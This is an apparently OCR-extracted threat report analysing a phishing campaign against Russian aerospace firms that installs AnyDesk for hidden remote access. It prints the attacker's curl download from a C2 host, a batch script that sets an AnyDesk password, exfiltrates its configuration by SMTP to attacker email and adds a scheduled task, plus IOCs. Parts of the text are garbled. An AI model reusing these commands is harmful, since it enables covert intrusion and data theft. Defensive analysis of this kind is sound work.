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Introduction

The Seqrite Threat Research Team identified a targeted spear-phishing campaign disguised
as a legitimate business invoice. The phishing email impersonates a legitimate Russian
research institute associated with aerospace and aviation systems and is delivered using a
spoofed domain designed to mimic the organization. The malicious email contains a
password-protected attachment that ultimately deploys additional payloads on the victim’s
system. Analysis indicates that the threat actor’s primary objective is to establish persistent
remote access by silently configuring AnyDesk for unattended access,

exfiltrating AnyDesk configuration data to an attacker-controlled email account

and implementing persistence mechanisms to retain long-term control of the compromised
host.

The use of an aerospace-themed lure, combined with the observed tooling and operational
tradecraft, closely aligns with previously documented campaigns attributed to Rare Werewolf
(also known as Librarian Ghouls), a threat actor known to target organizations in Russia,
Belarus, and Kazakhstan, particularly those operating in the industrial enterprises,
manufacturing companies, engineering institutions, aerospace and aviation organizations,
rocket and space research entities, petrochemical facilities, and other strategically important
sectors. Based on the available evidence, we suspect this activity to be

linked with Rare Werewolf campaign.

Rare Werewolf group predominantly employs living-off-the-land (LotL) techniques by
abusing legitimate software to blend into normal system activity. Initial access is typically
achieved through invoice- or document-themed spear-phishing emails containing password-
protected archives, which deploy self-extracting installers and command
scripts. Subsequent stages leverage trusted utilities such as AnyDesk, Blat and WinRAR,
while additional utilities such as Tray Minimizer are used to reduce user visibility. Public
reporting has also documented the deployment of the XMRig cryptocurrency miner during
post-compromise activity. However, our analysis did not observe any cryptojacking
activity in this sample. We assess that cryptocurrency mining, if employed, is likely a post-
compromise objective that the operators may deploy after establishing persistent remote
access to the victim’s environment.
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Fig1: Infection Chain

The above figure illustrates the overall infection chain observed during our analysis, beginning
with a phishing email and culminating in the deployment of AnyDesk for persistent remote
access. The attack leverages multiple legitimate utilities to establish persistence, exfiltrate
data, and conceal its presence on the compromised system.

Technical Analysis

During analysis, we observed that the initial access starts with a spear-phishing email
targeting Russian aerospace and electronics sectors. The email impersonates ®bY “BHUNP”
(Federal Budgetary Institution “VNIIR”) and is sent from sales@vniir-avia.space with the
subject “cyeT Ha onnaty (Mnn gorosop nocTasku, ecnu Tpebyetcs).” (“Invoice for payment (or
supply contract, if required)”). vniir-avia.space domain was freshly registered. Threat actors
register disposable lookalike domains for campaigns. The real VNIIR institute would use a
long-established government domain (.ru /.gov.ru), not a brand-new “.space” domain. Email is
sent to “undisclosed-recipients”, The “To” field is hidden, indicating a mass mailing campaign.
Legitimate B2B invoices are addressed to a specific person. This email was bulk distributed to
many recipients simultaneously.
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To lure recipients into opening the attachment, the email contains a password-

protected archive named cuyeT Ha onnaty.rar. The password (dsa9568-4444) was placed in
the email body so the victim can open it and so scanners cannot inspect content. Itis a
common technique used to bypass email security controls and increase the likelihood of user
execution. The message also displays the logo of the Russian Ministry of Industry and Trade
to enhance legitimacy.
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Fig 2: Phishing email with password-protected archive

MpocHM NOATEENIMTE EOSM#HOCTL BLINONHEHKA AHHOMD 33Ka33, 3 TAKHE NPEQ0CTAEMTE CHET Ha
omnaTy (MK 4oroeop NOCTAEKK, ECNK TpebyeTcr).

B cnyyae HeoGX0OMMOCTH MOTOER! CNEPATHEHD NPELOCTAENTE JONCNHUTENEHYY HHEDODMALKMED.

Bnarogapum 33 COTPYAHMYECTED M DACCYMTEIEZEM HA CEOSEDEMEHHYH NOCTABKY.

Maponb: dsa®568-4444 4 Password in email body — typical for malicious password-protected archives
Fig 3: Password of the attachment in the mail

The extracted executable was compiled using Delphi and programming language used is
Pascal. One of the most interesting findings is Installer: Smart Install Maker (5.04), this tells
us the executable is not just an application; it is an installer package built with Smart Install
Maker meaning during execution it may drop multiple files, create folders, execute embedded
executables, write registry keys, create services, run commands.
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ﬁ Detect It Easy v3.21 [Windows 10 Version 2009] (x64) -—

File name

_2532259?33&4?35%&456:!:0@&51 b7f9ae2fOdET e T2d0719debaf 23334063 2efbIc 1980f4 exe

File type File size
PE32 - | 1.50 Mi |
Scan Endianness Mode Architecture Type
Automatic »| | LE [ 32-bit | 1386 | GUI
- PE32
Operation system: Windows (93) [I386, 32-bit, GUI] 3 !
Linker: Turbe Linker (2.25) 5 ?
Compiler: Borland Delphi (6-T or 2003) [Enterprise] 5 ?
Language: Object Fascal (Delphi) 5 T
(Hewr) Packer: Generic [Strange overlay] 5 T
Installer: Srmart Install Maker (5.04) 5 ?
{Heur) Licensing: Contains [Strings] 5 7
= Owverlay: Binary [Offset = Ox0D03bel, Size = 00143705)
Data: smart Install Maker data 3 ¥
Fig 4: DiE snap details
Upon execution, the dropper opens a decoy pdf and writes multiple files under
C:\temp\ChromioumTemp* folder.
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Fig 5: Decoy pdf file

It executes a set of commands as shown below:
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= [ omd e (10256)

B Conhost e (11864}
= [ o e (10134

B Corhost s (TT16)
2 [ ond eme (12080

LU Admiresirater Domrksacts' 20028 A T 3004 TES Lote e S (15 B8 1 T8 S X Sl B P T2 T ke i 30 3406 S0l e 196 4 ™
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LWL Windows \sysbem 12 conhoet sae DefEH Foece'l

P Y " v \Chrorream Terng 3139665 15454 3 T mal -clebuc 580 et C bernp o Tamp 3 1396, 63154643 Tl saw & L o 0 ‘4
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L Wnconn\Syalem 12 omd see ™ o s Cdemp \Chomium Temp 3139668154683 T mal -debug-£50 et s _fike cmad
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. CWndows 'aystem Xhomd exe /o " C: emp Chromium Tesp 31 358 _ESVEIGAT Taml_fle 1.omd™ ™

Fig 6: Dropper activities

One interesting finding is the way it writes files on the system. Attackers make use of

“‘echo>>"to create new temporary file named “mat-debug-*.txt”. Then it adds commands to

it and finally rename it with the “.cmd” file as shown in the image below.

B Connost e (3453 | VAN ONIndows gystem LNeonhost exe L Forme'']

= [ e e (2728} T \WWindows'\Sysbem 30 emd s achols Jreme Chromium Teme 3133668164643 mai-debug-584 bt AnyDiesk sxe <nstal g Chromim Taep 31354 68154

B Conhost eaw (5332) | WINE\Windows'aystem 12 conhost sxe (I Foroel'1
S ond e 732 “C\Windows\System 32\cnd e
B Conhost exe (B604) | F7C:\Windows'aystem 12 conhaost awxe (T ForceW

[ o0 € ber \Chromium Temp 3135665164643 mat-debug Sa o wml_fied omd |

-_ﬂmﬁ:miﬂﬁﬂ} L Windows system 32 omd exe Ao =L eemp Chromium Temp 31 396_E2 1646437 veml_fled.omd™ =

Fig 7: Temporary txt file creation

5 This PC » Locasl Dask [C:) » termp 3 ChecmsumTernp3 1396 6316586437

Hamn * Date maodidied Type
W curd.exe O/24/ 204 516 PR Application
ﬁ ad_BackgrowundDossmboad 205800281 3003 0. rae B20/ 2050 219 P RAR File
W chrever e A7VAPOES 300 AM Applic sticon
G - b YO ElLpdf W25/2006 212 AM Microsclt Edge P
] wmi_file.cmd B/26/ P06 %10 PR Windean Comma
TR] wenl_file 1o G206/ 200 519 P Windows Comena
= mrnl_Filel crmel 626 2036 19 Phd Windomwn Comma...
5] menl_file Soormad 26 2006 19 P Winadorws Comena
=l =ml_filedcrmad B26/ 2036 20 P Windews Comma...
TS wend_fileSocrmed G20/ 2006 J20 PM Winadosws Comims

Fig 8: Dropped files

We see a few files with extensions cmd — which are nothing but batch commands that are
supposed to get executed one by one.

omd (3 (=l fie cma 1 B autorun_test b (3| Blnew 18 (3| Bllnew 19 23| Bnew 20 3| Binew 21 3| Blnew 22 (3| Blinew 23 3| Bl new 24 (3| B o

ad C:h\temp\ChromiumTemp31396 GB1646437

Civtemp\ChromiunTemp3l3sEe 681646437 \curl.exe -k ~-L =-o

(] \tem.p\thromiumTempSlSEE:Eﬂi £46437%dd BackgroundDownlead 20260528130031.rar --resolve
aviatronika.online:443:1%8.54.120.13

https: //faviatronika.online/folder/dd BackgroundDownload 20260528130031.car

Fig 9: Connecting to C2 to download the malicious rar file
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“xml_file.cmd” is trying to connect to the the C2 to download the malicious rar file. After

that, rar file is extracted with the password mentioned in “xml_file1.cmd” — shown below
(using driver.exe- which is a command-line archiver).

—r_ e o 23 |l 2 3| e ot 3| et e 3| e nd 3| sttt e (1| e 18 3 e 19 3| e 20 3 e 21 3| B e 22 3| e 20 3| Bl e 2

CivtempiChromiumTemp3l 356 681646437 driver.exes x =r =ap2 ~hplimpid25033
C:htemph\ChecmiumTemp31 396_EBLE4643Tdd_BackgroundDownload 20260528130031. rar C:\cemp'\ChromlumTespll3Se_681646437% Iﬂ

Fig 10: Cmd file extracting the malicious rar file in the next step

Rar file then extracts multiple components, including a portable AnyDesk instance, the Blat
SMTP utility (blat.exe), Tray Minimizer, and a batch script (wctF522.bat).

Marme Date modified Type Size
Trays B/B/2040 %dT AM File folder

B AnyDesk.exe 10/1/2024 10:12 AM  Application 4877 KB

[#] blat.exe 2/9/202210:19 PM  Application 240 KB

(%] wetF322.bat 3/29/2026 9:23 AM  Windows Batch File 2KB

Fig 11: Contents of the malicious rar file

Mame Date modified Type Size

locale /2172025 9:45 AM File folder
@ At-min.chm 72008 K19 PM Compiled HTML ... 217 KB
= dt-min_pad.xml B/BS201T 8:22 PM AML Document 15KE
[27] 4t-minbd.exe 5/9/2016 412 PM Application 2T0 KB
[4] 7zl 4/15/20103:07PM  Application extens... 260 KB
ﬂ company 10/6/2024 2:10 PM Intermet Shorbcut 1KB
E contact 10/6/2024 2:10 PM Internet Shortcut 1KB
e delReg.exe 91772002 &:18 PM Application 46 KB
ﬂ faq 10/6/2024 210 PM Internet Shortout 1KB
|_=, File_id.diz B/BS20NT 8:22 PM DIZ File 1KB
[ licenset 8/8/2017 822PM  Text Document IKB
ﬂ newsletter 10/6/2024 2:10 PM Intermet Shortcut 1KB
i order.bt B/BF2017 8:22 PM Text Document 2KB
ﬂ' arder 10/6/2024 2210 PM Intermet Shorbout 1KB
fre product 10/6/2024 Z10PM  Internet Shorbcut 1KB
|j readme.tct 8782017 8:22 PM Text Document TKB
u ShellEh&055.d11 1216/2016 1:31 PM  Application extens... 56 KB
[Z] ShellEn&055x64.dlI 12/16/2016 1:49 P Application extens... 115 KB
E Tray.dll 41272016 T:15 PM Application extens... 81KB
[T Trays.exe B/B/2017 8:22PM  Application 1,973 KB
E unins000.dat 10/6/2024 210 PM DAT File 21 KB
‘ﬁ unins000.exe 10/6/2024 Z210PM  Application 1,176 KB
|__hr Whatsnew.tit B/B/20NT 8:22 PM Text Document 2KB
ﬂ wishlist 10/6/2024 210 PM Intermet Shortout 1 KB

Fig 12: Contents of the tray folder

The tray utility is also run along with the other executions
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start C:\temp\ChromiumTemp313596 68164 6437\ Trays'\Trays.exe -tray

Fig 13: Cmd command executing the tray utility

While exploring the Trays folder, we observe it contains multiple executables, DLLs,
documentation, and supporting files associated with the legitimate 4t Tray

Minimizer application. The directory includes the primary executable (Trays.exe), supporting
libraries (Tray.dll, ShellEh6055.dIl, ShellEh6055x64.dll), installer/uninstaller components, and
various application resources, indicating that the complete application was bundled within the

archive rather than a standalone executable.

The cmd file also runs the batch file as shown below

td = xml fileS.emd E3 ]

WotFEFS22.bat

Fig 14

The execution of the batch script (wctF522.bat) revealed that it:

1.

First introduces an execution delay of approximately one minute using ping -n 60
127.0.0.1, likely to ensure that extraction completes and potentially evade automated
sandbox environments.

. Configures unattended AnyDesk access by supplying a predefined

password QWERTY1234566 to the AnyDesk command-line interface using the —set-
password option. It extracts and deploys the portable AnyDesk package under
%ProgramData%\AnyDesk, allowing remote connections without requiring user
interaction. And it also launches the deployed AnyDesk executable after extraction.

. Creates archive AnyDesk.rar with password limpid2903392 containing configuration

files, client identifiers, connection settings, logs, and certificates.

. The archive is subsequently exfiltrated via SMTP using Blat.
. Creates a scheduled task named “Auto apdate” that executes Trays.exe -tray at user

logon with the Highest run level, establishing persistence.

. Deletes temporary command (.cmd), text (.txt), archive (.rar), executable (.exe), and PDF
(*.pdf) files from the temporary working directory to remove artifacts and hinder forensic

analysis.
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Ehat Hwtziee: & @)

del fq tsysteadriveilresp\ChromiunTemp31396 E8164643T4\Y.cmd
del Yq taystendriveWglemp\ChromiumTenp31396 60816464374 . txt

-n &0 127.0.0.1
-:‘hn QMERTYL234566 | Zaaystemdrive®\temp\ChromiumTenmpdl396 681646437 \AnyDesk\AnyDesk. exe” --set-password
J"-!'.Trt"":fl!'d _Bcoess e
".'-'-n—"".'.ﬁ ChEamiumTe 1396 cBlodcd27\driver.&xé & =-F -E‘- -I“;:-__:L";' 2‘:‘”:]3?2 -.-.'_.'.'-"D-..-.':'.'.'r-'-
he-q:ﬂﬁ*n:mu. Tt"p3 3:-r.- E:.:&cu ".n’-.:“;'..tsk rar %ProgramDatai‘\AnyDesk /[y
-3':"'-=~-'-';-.r=.-- temp\ChromiumTempilise eBlode437\bla e =to infokbm-bus.nl -f "An _f[*tSnfc..'.Q:!r:Jxr-':A.s nl>" -server O
varsis.nl -port 587 -u :_:Qukbm-'l.s nl -p& "Q "‘""le ySgFIRs0262" -subject "AnyDesk LCOMPUTERMAMER/VUSERNAMER™
y "hoyDesk YCOMPUTERNAMER/LUSERNAMER™ -attac h "hays ¥\ temp\Chromi umTesp31356 68164643 T\AnyDesk. rar®

schtasks fereate ftn "Auto apda-e" fer "\ hiaystemdrived "."!rr.“‘ ChromiumTemp31396 681646437 TrayshTrays.exe\" -tray® fsc

anlagon frl highest /f

del /g tsystendrive®\temp\ChromiumTempdl3d6 81646437\ *. rar

del /q Rsy drivet\t ert;‘-“'-rxc::.urtrer,?‘??n EELE4EAIT\ ¥ e G
del /q tsysteadrived R..tmp'-.crromur:rtm;ﬁlﬂu_aaIEEIEM‘H' pdf

Fig 15: The malicious batch file

Blat.exe is a legitimate command-line SMTP client commonly abused by threat actors for data
exfiltration. While Blat supports sending emails, SMTP authentication, file attachments, and
command-line automation, our analysis indicates that it is used exclusively to exfiltrate the

archived AnyDesk data to attacker-controlled infrastructure.

- A e ¢ - 4
E.; chaital (T file > shad5h EG1 3007198 2BFA0GRAADF 2ADERACF SRR NARAD
;';“h 'd'--[- ' I file = first-bytes-he 4058900003 000000 040000 COFFFFO0OE A Cluick access
i-heaaer (e >
& dos-stub [size > 160 bytes) file = first-bytes-text . [ ——— - B Desktop
reth-haadir (tocking = Vipual Studio 6.0 MaASH | #% AT oyl & Downloads
file-hesder (execitable = 32-bit) |:1.1|:m-p5' 38 I Documents
file = type executable 4
B dwectosies [count » 3) cpu 12-bit | Pictures
subpsterm console dotnet
< libraries (group » network) ¥ ETSICN J2M R 3
= imparts [flag = 113) descripticn A Win2 command line ebasil tocl -
= gnbry-point = first-hytes-hey 55 BB EC 64 FF 68 CE 5643 00 68 BC 09 42 00 € FE-days
- e —icns emmaiee AAADAS YA fem il T e— -

Fig16: Blat.exe file

Wireshark network capture image shows that the

. K % &

o Users » |EUker » Degumen

Hame

Trays
B anyDesk exe
W] blat.exe
5] wectF522. bat

archive (AnyDesk.rar) is subsequently exfiltrated via SMTP using Blat, leveraging the
server mail.versio.nl to send from out@okbm-bus.nl to in@okbm-bus.nl, with the email

subject formatted as AnyDesk % COMPUTERNAME%/%USERNAME% to
uniquely identify the compromised host.
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mailto:out@okbm-bus.nl
mailto:in@okbm-bus.nl

Date: Tue, 38 Jun 2826 13:31:21 +8536

From: AnyDesk<outf@iokbm-bus.nl>

To: inf@okbm-bus.nl

[X-Mailer: Blat v3.2.24, a Win32 SMTP/NNTP mailer http://was.blat.net|

Message-ID: <@ldd@Bee%Blat.v3.2.24%a385baff598:8571e@9@mail.versioc.nl
Subject: AnyDesk I/ ninistrator

MIME-Version: 1.8

Content-Type: multipart/mixed;
boundary="=_BlatBoundary-ucRQMNCEBFxrMjaxolieR™

This is a multi-part message in MIME format.

--=_BlatBoundary-ucRQMNCBBFxrMjaxolieR
Content-Description: Mail message body
Content-Transfer-Encoding: 7BIT
Content-Type: text/plain;
charset="I50-8859-1"

AnyDesk I dninistrator

--=_BlatBoundary-ucRQMNCEBFxrMjGxolieR

Content-Type: applicationfoctet-stream;
name="AnyDesk.rar"

Content-Transfer-Encoding: BASEG4

Content-Disposition: ATTACHMENT;
Ifilename="&nyDE5k.rar" I

UmFyIRoHAMEZ c4AADQAAAAAAAACY 3l jEZMIQADYrS LT nT 7 pmE3 LSwpRYUP LBIQMwdNFATX W3
1iw0edhZPOmUcS3Di6pkw0]pTulwkEEESTZLM3eqy /a2 1HUWT /hoeQ@WzTPKoladlerBOvLNXDTh

Fig 17: Exfiltrating archived anydesk data
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- [ Arydesk

Ma ste modified Tvpe

g
Extracted Data from P —— P
serACE. conf O ] i CiMF T

yrsterm.cont nﬂn—oxﬁﬂnmnmnrn Desk.rar file 02036 1:31 PM IDME Fale
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Fig 18: Extracted rar file Data

These are the contents of AnyDesk’s service.conf and system.conf files, which

store AnyDesk’s local configuration on an infected host. The observed activities indicate that
the campaign is designed to establish and maintain covert remote access to

the victim environment. The exfiltration of the password-

protected AnyDesk.rar archive, containing AnyDesk deployment and configuration data, likely
provides the operators with the information required to manage the deployed remote
access instance. Together with unattended access configuration, scheduled task persistence,
and the concealment of the AnyDesk interface, these actions enable the attacker

to retain long-term access to compromised systems and reconnect as

operational objectives require.

Finally, the script deletes temporary archives, executables, and PDF files from the staging
directory, reducing forensic artifacts and hindering post-compromise investigation.

Conclusion

Our analysis demonstrates a multi-stage phishing campaign that abuses legitimate software
to establish persistent remote access while minimizing its forensic footprint. Rather than
relying on sophisticated custom malware, the operators leverage trusted

utilities including AnyDesk, Blat, a modified WinRAR executable (driver.exe), and Tray
Minimizer to achieve persistence, exfiltrate deployment data, conceal remote access activity,
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and remove execution artifacts. This living-off-the-land approach enables the campaign to
blend into legitimate system activity while reducing the likelihood of detection.

Although definitive attribution cannot be made based solely on the available artifacts, the
observed tradecraft closely aligns with publicly documented Rare Werewolf (Librarian Ghouls)
campaigns. The infection chain, tooling, targeting, and

operational methodology exhibit significant overlap with previously reported activity, including
campaigns documented during 2025.

In addition to the analyzed sample, we observed multiple related samples exhibiting the same
operational workflow over the past several months. While the phishing lures, filenames, and
payload hashes varied, the consistent use of the same utilities and

execution methodology suggests an ongoing campaign in which the threat actor refreshes
individual artifacts while retaining its underlying tradecraft. This consistency reinforces our
assessment that the activity is likely part of a broader and continuing operation rather than an
isolated incident.

Trojan.Anydesk.S39566972
Script.Trojan.Dropper.50878.GC
Script.Trojan.Dropper.50879
Multi-Stage Payload Download and Execution via Curl and Command Shell
Remote Access Tool Staging and SMTP Data Exfiltration

Indicators of Compromise (IOCs)
47854deb456cb08c651b7f9ae2f9d87c72d0719de6af233340632efb3c1980f4
12648cd9d425f78db2dbc6e03c14f11e6ac6aadf8b3975c23cce9519e2b58d33
F57e010541fb4ccbf23aefc4a827f753a6ff3f8792d9c04c3eea83f6963c6bae
0dc0fa727f900ed5033f46f8ba6cf2d97d20ab95fd334cabc0f216da6e0622b0
198.54.120[.]13
194.87.57[.]81
2.23.88[.]201

109.106.178.14
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aviatronika[.]Jonline
vniir-avia[.]Jspace
fgub-vniir[.]space

vniir-info[.]space

nova-stream].]site

Reference link

https://x.com/askardyuss/status/2070084108118556868

MITRE ATT&CK Mapping

Tactic Technique Name Technique
ID
Initial Access Phishing: Spearphishing Attachment T1566.001
Execution User Execution: Malicious File T1204.002
Execution Command and Scripting Interpreter: Windows T1059.003
Command Shell
Execution Command and Scripting Interpreter: PowerShell T1059.001
Persistence Scheduled Task/Job: Scheduled Task T1053.005
Persistence Boot or Logon Autostart Execution (via scheduled task  T1547
on logon)
Defense Evasion Masquerading T1036
Defense Evasion  Obfuscated Files or Information (Password-protected T1027
archives)
Defense Evasion Hide Artifacts: Hidden Window (Tray Minimizer T1564.003
concealing AnyDesk)
Defense Evasion Indicator Removal on Host: File Deletion T1070.004
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Command and Application Layer Protocol: Web Protocols (curl T1071.001
Control download from C2)
Command and Remote Access Software T1219
Control
Collection Archive Collected Data T1560
Collection Data from Local System (AnyDesk configuration files T1005
collected)
Exfiltration Exfiltration Over Alternative Protocol: Exfiltration Over  T1020
Email
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